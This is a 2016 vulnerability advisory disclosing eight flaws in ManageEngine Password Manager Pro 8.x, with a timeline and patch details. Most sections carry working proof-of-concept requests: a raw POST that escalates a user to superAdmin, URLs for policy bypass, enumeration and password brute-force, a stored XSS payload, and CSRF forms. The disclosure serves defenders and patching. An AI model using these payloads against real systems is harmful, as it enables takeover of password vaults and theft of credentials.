ManageEngine Password Manager Pro 8.3 CSRF / XSS / Escalation / Bypass

`[Systems Affected]  
Product : ManageEngine Password Manager Pro  
Company : ZOHO Corp.  
Build Number : 8.1 to 8.3 and probably earlier versions  
Affected Versions : 8102 to 8302 and probably earlier versions  
  
  
[Product Description]  
Password Manager Pro is a secure vault for storing and managing  
shared sensitive information such as passwords, documents and digital  
identities of enterprises.  
  
  
[Vulnerabilities]  
Multiple vulnerabilities were identified within this application:  
1- Stored XSS in /AddMail.ve  
2- Privilege escalation in /EditUser.do  
3- Business Login Bypass in /EditUser.do  
4- Password policy bypass in /jsp/xmlhttp/AjaxResponse.jsp  
5- Horizontal privilege escalation in /jsp/xmlhttp/AjaxResponse.jsp  
6- Resource's user enumeration in /jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp  
7- Password Bruteforce for resources accounts in  
/jsp/xmlhttp/AjaxResponse.jsp  
8- Cross-Site Request Forgery  
  
  
[Advisory Timeline]  
17/07/2015 - Discovery and vendor notification  
17/07/2015 - ManageEngine responsed that they will notify their  
development team  
13/10/2015 - ManageEngine informed that they have fixed these issue  
14/10/2015 - Fixed Password Manager Pro build version 8300 has been released  
15/10/2015 - Test on Beta build version 8300 was performed and  
confirm the fix of these issues 2, 4, 7 and part of issue 8  
02/11/2015 - ManageEngine ask more time to fix the remaining issues  
before making this public  
29/12/2015 - ManageEngine contacted for an update - No reply  
12/01/2016 - ManageEngine contacted for an update - No reply  
08/02/2016 - ManageEngine contacted for an update - small update provided  
12/02/2016 - Last communication from ManageEngine  
04/04/2016 - Public Disclosure  
  
  
[Patch Available]  
Password Manager Pro Release 8.3 (8300) (Released on October, 2015)  
fix issues #2, #4, #7 and partially #8  
Password Manager Pro Release 8.3 (8303) (Released on December 2015)  
fix issues #1, #3, #5 and #6  
  
  
[Exploit]  
There is an exploit available that takes advantage of the Privilege  
Escalation vulnerability (Issue #2) and elevates a regular user to  
SuperAdmin, and then downloads the passwords and files stored within  
the application. The exploit code is available here  
- https://github.com/s3bap3/pmp-exploit  
  
  
[Description of Vulnerabilities]  
  
(1) Stored XSS in /AddMail.ve.  
This functionality is under the personal accounts stored in the  
application. However, as the page is also vulnerable to CSRF, an html  
form can be forged to create a personal account an exploit the XSS  
vulnerability. The affected parameter is "password", and the POST  
message to send is something like this  
  
[PoC]  
POST /AddMail.ve?SUBREQUEST=XMLHTTP HTTP/1.1  
  
service=1&serviceurl=1&loginname=1&password=<!--+--+--><script>alert%28'XSS'%29;<%2fscript><!--+--+-->&spassword=&tags=1&Rule=Low&FORWARDURL=MailAccount.cc%3F  
  
  
(2) Privilege escalation in /EditUser.do that allows to do 2 things.  
a- Hijack user's sessions by changing their emails and accessing  
the forgot password functionality.  
The affected parameter is "EMAIL" from the /EditUser.do web page.  
Any user (even PASSWORD USER's role) could send a craft POST method  
like the one below in order to change the user email address, which is  
being used to generate a new user password when the previous one was  
forgotten. The only attribute that needs to be changed from one  
request to another is the LOGINID, which is a sequence number that  
represent the User numeric ID.  
  
b- Escalate privileges by changing the user account status from  
Password user to superadmin.  
By forging a similar request it is possible to raise our own  
privileged to become a privileged user. For example, the parameter  
"ROLE" can be changed to "Password Auditor" "Password Administrator"  
or even "Administrator " and become it. It is also possible to become  
a superAdmin by changing the parameter "superAdmin" from false to  
true. This will allow us to take control of the application and all  
the passwords stored on it. In order to become superAdmin, the user  
role needs to be Administrator. Both can be achieved by forging the  
same request. In this scenario there are two parameters to be aware  
of.  
- USERID and LOGINID is the numeric account id to which the  
superadmin attribute will be granted (could be obtained from the login  
reply)  
- USER is the username to which the superadmin attribute will be granted  
  
[PoC]  
POST /EditUser.do?SUBREQUEST=true HTTP/1.1  
Content-Type: multipart/form-data;  
boundary=---------------------------20780287114832  
  
-----------------------------20780287114832  
Content-Disposition: form-data; name="isloginusersa"  
  
false  
-----------------------------20780287114832  
Content-Disposition: form-data; name="superadminscope"  
  
true  
-----------------------------20780287114832  
Content-Disposition: form-data; name="SERVERPORT"  
  
7272  
-----------------------------20780287114832  
Content-Disposition: form-data; name="OLDROLE"  
  
Administrator  
-----------------------------20780287114832  
Content-Disposition: form-data; name="USERID"  
  
4  
-----------------------------20780287114832  
Content-Disposition: form-data; name="LOGINID"  
  
4  
-----------------------------20780287114832  
Content-Disposition: form-data; name="USER"  
  
username  
-----------------------------20780287114832  
Content-Disposition: form-data; name="OLDLANG"  
  
en  
-----------------------------20780287114832  
Content-Disposition: form-data; name="EMAIL"  
  
[email protected]  
-----------------------------20780287114832  
Content-Disposition: form-data; name="ROLE"  
  
Administrator  
-----------------------------20780287114832  
Content-Disposition: form-data; name="superAdmin"  
  
true  
-----------------------------20780287114832  
Content-Disposition: form-data; name="Rule"  
  
Strong  
-----------------------------20780287114832  
Content-Disposition: form-data; name="DEPT"  
  
  
-----------------------------20780287114832  
Content-Disposition: form-data; name="LOCATION"  
  
  
-----------------------------20780287114832  
Content-Disposition: form-data; name="mobileaccess"  
  
enable  
-----------------------------20780287114832  
Content-Disposition: form-data; name="UserCert"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------20780287114832  
Content-Disposition: form-data; name="lang_code"  
  
en  
-----------------------------20780287114832--  
  
  
(3) Business Login Bypass in /EditUser.do  
The application allows only the creation of certain amount of  
Administrator, based on the licences. However it is possible to create  
more administrators. In order to exploit this go to the user  
administration page, and edit a user id. Save the edition without  
making any modification and intercept that POST message. Modify both  
parameters, "OLDROLE" and "ROLE" with the role "Administrator", and  
the user role will be changed to this one. Every user can be converted  
to an administrator even if the license does not allow that much. The  
application only check the amount of administrators when "ROLE" is  
Administrator but "OLDROLE" is another one.  
  
  
(4) Password policy bypass in /jsp/xmlhttp/AjaxResponse.jsp  
Every time a password for a user account or resource's user account  
is being changed, a request is sent to this path in order to validate  
the password against the password policy. Despite the fact the the  
password is being sent in the URL (this means it could be logged in  
any proxy or even in the browser), the policy against the password is  
being evaluated could by changed by modifying the parameter "Rule"  
from the value it currently has to "Low", in order to be evaluated  
with a lower policy. For example:  
  
[PoC]  
https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=b&Rule=Low&AccName=a&ACCID=5  
https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=b&Rule=Low&AccName=a&AccName=5  
  
  
(5) Horizontal privilege escalation in /jsp/xmlhttp/AjaxResponse.jsp  
When an administrator creates a Password Reset Listener, another  
administrator needs to approve it. The same happens when a Listener  
needs to be suspended. However this could be bypassed by creating and  
approving the listener by the same administrator. This could be  
achieved by forging a GET request like the following. The only  
parameter that needs to be changed is the "LISTENERID" which is a  
sequence number that represents the Listener.  
  
[PoC]  
Listener Approval  
https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=toggleListenerStatus&LISTENERID=4&ISAPPROVED=false&LISTENERTYPE=1&SUBREQUEST=XMLHTTP  
  
Listener Suspension  
https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=toggleListenerStatus&LISTENERID=4&ISAPPROVED=true&LISTENERTYPE=1&SUBREQUEST=XMLHTTP  
  
  
(6) Resource's users enumeration in /jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp.  
It is possible to enumerate resource's user accounts by forging a  
GET request as follows. This URL allows, if a user has access, to  
retrieve the account password. However if a user does not have access,  
the error message changes if the user exists or not. The only  
parameters that needs to be modified are "Resource" and "Account".  
  
[PoC]  
https://192.168.56.101:7272/jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp?RequestType=PasswordRetrived&resource=admin+resource&account=admin  
  
The error messages identifies if the account exists for that resource.  
Account exists: ____ACCESS___DENIED__  
Resource/Account does not exists: FAILURE  
  
  
(7) Password Bruteforce for resources accounts in /jsp/xmlhttp/AjaxResponse.jsp  
It is possible to enumerate resource's user passwords by forging a  
GET request as follows. This URL is used in order to validate a user  
password against the password policy specified. By being able to  
change the password policy it is possible to use the "Low" policy  
which does not allow to reuse the password that is currently setup for  
the user. If an error message that the password could not be reused  
appears, that indicate that the password is the current password for  
that account.  
The only parameters that needs to be modified are "Password" and  
"ACCID", and ensure that the password policy "Rule" parameter is set  
to low.  
  
[PoC]  
https://192.168.56.101:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=2&Rule=Low&ACCID=8  
  
The error messages identifies if the password is correct or not  
for every user account.  
Password matches: "Password cannot be same as last 1 passwords"  
Password does not match: "SUCCESS"  
Account ID does not exists: "Error in validating password policy"  
  
  
(8) Cross-Site Request Forgery  
The application is vulnerable to Cross-Site Request Forgery, which  
by sending specific POST messages it is possible create a user in the  
system (1), elevate privileges for a user (2)(4), and store a XSS in  
the user's personal passwords (3). Below are two PoC  
  
[PoC]  
User Creation  
<html>  
<body>  
<form method="post"  
action="https://192.168.0.3:7272/AddUser.do"  
enctype="multipart/form-data">  
<input value="true" name="superadminscope"  
type="hidden"><input value="true" type="hidden">  
<input value="true" name="isloginusersa"  
type="hidden"><input value="true" type="hidden">  
<input value="hacker" name="fname" type="hidden"><input  
value="true" type="hidden">  
<input value="hacker" name="lname" type="hidden"><input  
value="true" type="hidden">  
<input value="hacker" name="user" type="hidden"><input  
value="true" type="hidden">  
<input value="same" name="rbutton" type="hidden"><input  
value="true" type="hidden">  
<input value="Strong" name="Rule" type="hidden"><input  
value="true" type="hidden">  
<input value="" name="spassword" type="hidden"><input  
value="true" type="hidden">  
<input value="[email protected]" name="mail"  
type="hidden"><input value="true" type="hidden">  
<input value="Password User" name="ROLE"  
type="hidden"><input value="true" type="hidden">  
<input value="false" name="superAdmin"  
type="hidden"><input value="true" type="hidden">  
<input value="" name="dept" type="hidden"><input  
value="true" type="hidden">  
<input value="false" name="location"  
type="hidden"><input value="true" type="hidden">  
<input value="enable" name="mobileaccess"  
type="hidden"><input value="true" type="hidden">  
<input value="en" name="lang_code" type="hidden"><input  
value="true" type="hidden">  
<input type="submit" value="Submit">  
</form>  
</body>  
</html>  
  
Privilege Escalation  
<html>  
<body>  
<form method="post"  
action="https://192.168.0.3:7272/EditUser.do?SUBREQUEST=true"  
enctype="multipart/form-data">  
<input value="true" name="isloginusersa"  
type="hidden"><input value="true" type="hidden">  
<input value="true" name="superadminscope"  
type="hidden"><input value="true" type="hidden">  
<input value="Administrator" name="OLDROLE"  
type="hidden"><input value="true" type="hidden">  
<input value="613" name="USERID" type="hidden"><input  
value="true" type="hidden">  
<input value="613" name="LOGINID" type="hidden"><input  
value="true" type="hidden">  
<input value="hacker" name="USER" type="hidden"><input  
value="true" type="hidden">  
<input value="en" name="OLDLANG" type="hidden"><input  
value="true" type="hidden">  
<input value="[email protected]" name="EMAIL"  
type="hidden"><input value="true" type="hidden">  
<input value="Administrator" name="ROLE"  
type="hidden"><input value="true" type="hidden">  
<input value="true" name="superAdmin"  
type="hidden"><input value="true" type="hidden">  
<input value="Strong" name="Rule" type="hidden"><input  
value="true" type="hidden">  
<input value="" name="DEPT" type="hidden"><input  
value="true" type="hidden">  
<input value="" name="LOCATION" type="hidden"><input  
value="true" type="hidden">  
<input value="enable" name="mobileaccess"  
type="hidden"><input value="true" type="hidden">  
<input value="en" name="lang_code" type="hidden"><input  
value="true" type="hidden">  
<input type="submit" value="Submit">  
</form>  
</body>  
</html>  
  
Stored XSS  
<html>  
<body>  
<form name="badform" method="post"  
action="https://192.168.0.3:7272/AddMail.ve?SUBREQUEST=XMLHTTP"  
accept-charset="UTF-8">  
<input type="hidden" name="service" value="1" />  
<input type="hidden" name="serviceurl" value="1" />  
<input type="hidden" name="loginname" value="1" />  
<input type="hidden" name="password" value="<!-- --  
--><script>alert('XSS');</script><!-- -- -->" />  
<input type="hidden" name="spassword" value="" />  
<input type="hidden" name="tags" value="" />  
<input type="hidden" name="Rule" value="Low" />  
<input type="submit" value="Submit">  
</form>  
</body>  
</html>  
  
Privilege Escalation  
<html>  
<body>  
<form name="badform" method="post"  
action="https://192.168.0.3:7272/ChangeRoles.ve?SUBREQUEST=XMLHTTP"  
accept-charset="UTF-8">  
<input type="hidden" name="SKIP_PREF" value="true" />  
<input type="hidden" name="Admin" value="hacker" />  
<input type="hidden" name="FORWARDURL"  
value="UserTabView.cc%3F" />  
<input type="submit" value="Submit">  
</form>  
</body>  
</html>  
  
--  
S3ba  
@s3bap3  
http://linkedin.com/in/s3bap3  
`